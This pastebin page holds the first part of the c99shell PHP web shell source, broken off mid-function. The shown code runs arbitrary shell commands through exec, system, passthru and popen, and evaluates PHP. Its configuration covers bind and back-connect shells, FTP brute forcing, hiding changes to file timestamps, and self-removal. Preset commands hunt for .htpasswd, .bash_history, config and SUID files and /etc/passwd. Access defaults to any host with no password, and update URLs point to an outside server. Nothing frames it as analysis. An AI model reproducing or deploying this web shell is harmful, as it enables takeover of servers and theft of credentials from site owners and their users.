pastebin - collaborative debugging

pastebin is a collaborative debugging tool allowing you to share and modify code snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a variety of options.

PHP pastebin - collaborative debugging tool View Help


Posted by Cyberheb on Wed 3 Oct 01:17
report abuse | View followups from Anonymous | download | new post

  1. <?php
  2. //Starting calls
  3. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  4. error_reporting(5);
  5. @ignore_user_abort(TRUE);
  6. @set_magic_quotes_runtime(0);
  7. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  8. define("starttime",getmicrotime());
  9. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  10. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  11. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  12.  
  13. $shver = "1.0 pre-release build #16"; //Current version
  14. //CONFIGURATION AND SETTINGS
  15. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  16. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  17. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  18. }
  19.  
  20. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  21.  
  22. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  23. if (empty($surl))
  24. {
  25.  $surl = "?".$includestr; //Self url
  26. }
  27. $surl = htmlspecialchars($surl);
  28.  
  29. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  30.  
  31. //Authentication
  32. $login = ""; //login
  33. //DON'T FORGOT ABOUT PASSWORD!!!
  34. $pass = ""; //password
  35. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  36.  
  37. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  38. $login_txt = "Restricted area"; //http-auth message.
  39. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  40.  
  41. $gzipencode = TRUE; //Encode with gzip?
  42.  
  43. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  44.  
  45. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  46. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  47.  
  48. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  49.  
  50. $donated_html = "<center><b>Owned by hacker</b></center>";
  51. /* If you publish free shell and you wish
  52. add link to your site or any other information,
  53. put here your html. */
  54. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  55.  
  56. $curdir = "./"; //start folder
  57. //$curdir = getenv("DOCUMENT_ROOT");
  58. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  59. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  60.  
  61. $log_email = "user@host.tld"; //Default e-mail for sending logs
  62.  
  63. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  64. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  65.  
  66. // Registered file-types.
  67. //  array(
  68. //   "{action1}"=>array("ext1","ext2","ext3",...),
  69. //   "{action2}"=>array("ext4","ext5","ext6",...),
  70. //   ...
  71. //  )
  72. $ftypes  = array(
  73.  "html"=>array("html","htm","shtml"),
  74.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  75.  "exe"=>array("sh","install","bat","cmd"),
  76.  "ini"=>array("ini","inf"),
  77.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  78.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  79.  "sdb"=>array("sdb"),
  80.  "phpsess"=>array("sess"),
  81.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  82. );
  83.  
  84. // Registered executable file-types.
  85. //  array(
  86. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  87. //   ...
  88. //  )
  89. //   {command}: %f% = filename
  90. $exeftypes  = array(
  91.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  92.  "perl %f%" => array("pl","cgi")
  93. );
  94.  
  95. /* Highlighted files.
  96.   array(
  97.    i=>array({regexp},{type},{opentag},{closetag},{break})
  98.    ...
  99.   )
  100.   string {regexp} - regular exp.
  101.   int {type}:
  102. 0 - files and folders (as default),
  103. 1 - files only, 2 - folders only
  104.   string {opentag} - open html-tag, e.g. "<b>" (default)
  105.   string {closetag} - close html-tag, e.g. "</b>" (default)
  106.   bool {break} - if TRUE and found match then break
  107. */
  108. $regxp_highlight  = array(
  109.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  110.   array("config.php",1) // example
  111. );
  112.  
  113. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  114.  // array (i=>{letter} ...); string {letter} - letter of a drive
  115. //$safemode_diskettes = range("a","z");
  116. $hexdump_lines = 8;// lines in hex preview file
  117. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  118.  
  119. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  120.  
  121. $bindport_pass = "c99";  // default password for binding
  122. $bindport_port = "31373"; // default port for binding
  123. $bc_port = "31373"; // default port for back-connect
  124. $datapipe_localport = "8081"; // default port for datapipe
  125.  
  126. // Command-aliases
  127. if (!$win)
  128. {
  129.  $cmdaliases = array(
  130.   array("-----------------------------------------------------------", "ls -la"),
  131.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  132.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  133.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  134.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  135.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  136.   array("find config* files", "find / -type f -name \"config*\""),
  137.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  138.   array("find all writable folders and files", "find / -perm -2 -ls"),
  139.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  140.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  141.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  142.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  143.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  144.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  145.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  146.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  147.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  148.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  149.   array("show opened ports", "netstat -an | grep -i listen")
  150.  );
  151. }
  152. else
  153. {
  154.  $cmdaliases = array(
  155.   array("-----------------------------------------------------------", "dir"),
  156.   array("show opened ports", "netstat -an")
  157.  );
  158. }
  159.  
  160. $sess_cookie = "c99shvars"; // Cookie-variable name
  161.  
  162. $usefsbuff = TRUE; //Buffer-function
  163. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  164.  
  165. //Quick launch
  166. $quicklaunch = array(
  167.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  168.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  169.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  170.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  171.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  172.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  173.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  174.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  175.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  176.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  177.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  178.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  179.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  180.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  181.  array("<b>Update</b>",$surl."act=update&d=%d"),
  182.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  183.  array("<b>Self remove</b>",$surl."act=selfremove"),
  184.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  185. );
  186.  
  187. //Highlight-code colors
  188. $highlight_background = "#c0c0c0";
  189. $highlight_bg = "#FFFFFF";
  190. $highlight_comment = "#6A6A6A";
  191. $highlight_default = "#0000BB";
  192. $highlight_html = "#1300FF";
  193. $highlight_keyword = "#007700";
  194. $highlight_string = "#000000";
  195.  
  196. @$f = $_REQUEST["f"];
  197. @extract($_REQUEST["c99shcook"]);
  198.  
  199. //END CONFIGURATION
  200.  
  201.  
  202. // \/Next code isn't for editing\/
  203. @set_time_limit(0);
  204. $tmp = array();
  205. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  206. $s = "!^(".implode("|",$tmp).")$!i";
  207. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  208. if (!empty($login))
  209. {
  210.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  211.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  212.  {
  213.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  214.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  215.   header("HTTP/1.0 401 Unauthorized");
  216.   exit($accessdeniedmess);
  217.  }
  218. }
  219. if ($act != "img")
  220. {
  221. $lastdir = realpath(".");
  222. chdir($curdir);
  223. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  224. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  225. if (!is_array($sess_data)) {$sess_data = array();}
  226. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  227. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  228.  
  229. $disablefunc = @ini_get("disable_functions");
  230. if (!empty($disablefunc))
  231. {
  232.  $disablefunc = str_replace(" ","",$disablefunc);
  233.  $disablefunc = explode(",",$disablefunc);
  234. }
  235.  
  236. if (!function_exists("c99_buff_prepare"))
  237. {
  238. function c99_buff_prepare()
  239. {
  240.  global $sess_data;
  241.  global $act;
  242.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  243.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  244.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  245.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  246.  sort($sess_data["copy"]);
  247.  sort($sess_data["cut"]);
  248.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  249.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  250. }
  251. }
  252. c99_buff_prepare();
  253. if (!function_exists("c99_sess_put"))
  254. {
  255. function c99_sess_put($data)
  256. {
  257.  global $sess_cookie;
  258.  global $sess_data;
  259.  c99_buff_prepare();
  260.  $sess_data = $data;
  261.  $data = serialize($data);
  262.  setcookie($sess_cookie,$data);
  263. }
  264. }
  265. foreach (array("sort","sql_sort") as $v)
  266. {
  267.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  268.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  269. }
  270. if ($sort_save)
  271. {
  272.  if (!empty($sort)) {setcookie("sort",$sort);}
  273.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  274. }
  275. if (!function_exists("str2mini"))
  276. {
  277. function str2mini($content,$len)
  278. {
  279.  if (strlen($content) > $len)
  280.  {
  281.   $len = ceil($len/2) - 2;
  282.   return substr($content, 0,$len)."...".substr($content,-$len);
  283.  }
  284.  else {return $content;}
  285. }
  286. }
  287. if (!function_exists("view_size"))
  288. {
  289. function view_size($size)
  290. {
  291.  if (!is_numeric($size)) {return FALSE;}
  292.  else
  293.  {
  294.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  295.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  296.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  297.   else {$size = $size . " B";}
  298.   return $size;
  299.  }
  300. }
  301. }
  302. if (!function_exists("fs_copy_dir"))
  303. {
  304. function fs_copy_dir($d,$t)
  305. {
  306.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  307.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  308.  $h = opendir($d);
  309.  while (($o = readdir($h)) !== FALSE)
  310.  {
  311.   if (($o != ".") and ($o != ".."))
  312.   {
  313.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  314.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  315.    if (!$ret) {return $ret;}
  316.   }
  317.  }
  318.  closedir($h);
  319.  return TRUE;
  320. }
  321. }
  322. if (!function_exists("fs_copy_obj"))
  323. {
  324. function fs_copy_obj($d,$t)
  325. {
  326.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  327.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  328.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  329.  if (is_dir($d))
  330.  {
  331.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  332.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  333.   return fs_copy_dir($d,$t);
  334.  }
  335.  elseif (is_file($d)) {return copy($d,$t);}
  336.  else {return FALSE;}
  337. }
  338. }
  339. if (!function_exists("fs_move_dir"))
  340. {
  341. function fs_move_dir($d,$t)
  342. {
  343.  $h = opendir($d);
  344.  if (!is_dir($t)) {mkdir($t);}
  345.  while (($o = readdir($h)) !== FALSE)
  346.  {
  347.   if (($o != ".") and ($o != ".."))
  348.   {
  349.    $ret = TRUE;
  350.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  351.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  352.    if (!$ret) {return $ret;}
  353.   }
  354.  }
  355.  closedir($h);
  356.  return TRUE;
  357. }
  358. }
  359. if (!function_exists("fs_move_obj"))
  360. {
  361. function fs_move_obj($d,$t)
  362. {
  363.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  364.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  365.  if (is_dir($d))
  366.  {
  367.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  368.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  369.   return fs_move_dir($d,$t);
  370.  }
  371.  elseif (is_file($d))
  372.  {
  373.   if(copy($d,$t)) {return unlink($d);}
  374.   else {unlink($t); return FALSE;}
  375.  }
  376.  else {return FALSE;}
  377. }
  378. }
  379. if (!function_exists("fs_rmdir"))
  380. {
  381. function fs_rmdir($d)
  382. {
  383.  $h = opendir($d);
  384.  while (($o = readdir($h)) !== FALSE)
  385.  {
  386.   if (($o != ".") and ($o != ".."))
  387.   {
  388.    if (!is_dir($d.$o)) {unlink($d.$o);}
  389.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  390.   }
  391.  }
  392.  closedir($h);
  393.  rmdir($d);
  394.  return !is_dir($d);
  395. }
  396. }
  397. if (!function_exists("fs_rmobj"))
  398. {
  399. function fs_rmobj($o)
  400. {
  401.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  402.  if (is_dir($o))
  403.  {
  404.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  405.   return fs_rmdir($o);
  406.  }
  407.  elseif (is_file($o)) {return unlink($o);}
  408.  else {return FALSE;}
  409. }
  410. }
  411. if (!function_exists("myshellexec"))
  412. {
  413. function myshellexec($cmd)
  414. {
  415.  global $disablefunc;
  416.  $result = "";
  417.  if (!empty($cmd))
  418.  {
  419.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  420.   elseif (($result = `$cmd`) !== FALSE) {}
  421.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  422.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  423.   elseif (is_resource($fp = popen($cmd,"r")))
  424.   {
  425.    $result = "";
  426.    while(!feof($fp)) {$result .= fread($fp,1024);}
  427.    pclose($fp);
  428.   }
  429.  }
  430.  return $result;
  431. }
  432. }
  433. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  434. if (!function_exists("view_perms"))
  435. {
  436. function view_perms($mode)
  437. {
  438.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  439.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  440.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  441.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  442.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  443.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  444.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  445.  else {$type = "?";}
  446.  
  447.  $owner["read"] = ($mode & 00400)?"r":"-";
  448.  $owner["write"] = ($mode & 00200)?"w":"-";
  449.  $owner["execute"] = ($mode & 00100)?"x":"-";
  450.  $group["read"] = ($mode & 00040)?"r":"-";
  451.  $group["write"] = ($mode & 00020)?"w":"-";
  452.  $group["execute"] = ($mode & 00010)?"x":"-";
  453.  $world["read"] = ($mode & 00004)?"r":"-";
  454.  $world["write"] = ($mode & 00002)? "w":"-";
  455.  $world["execute"] = (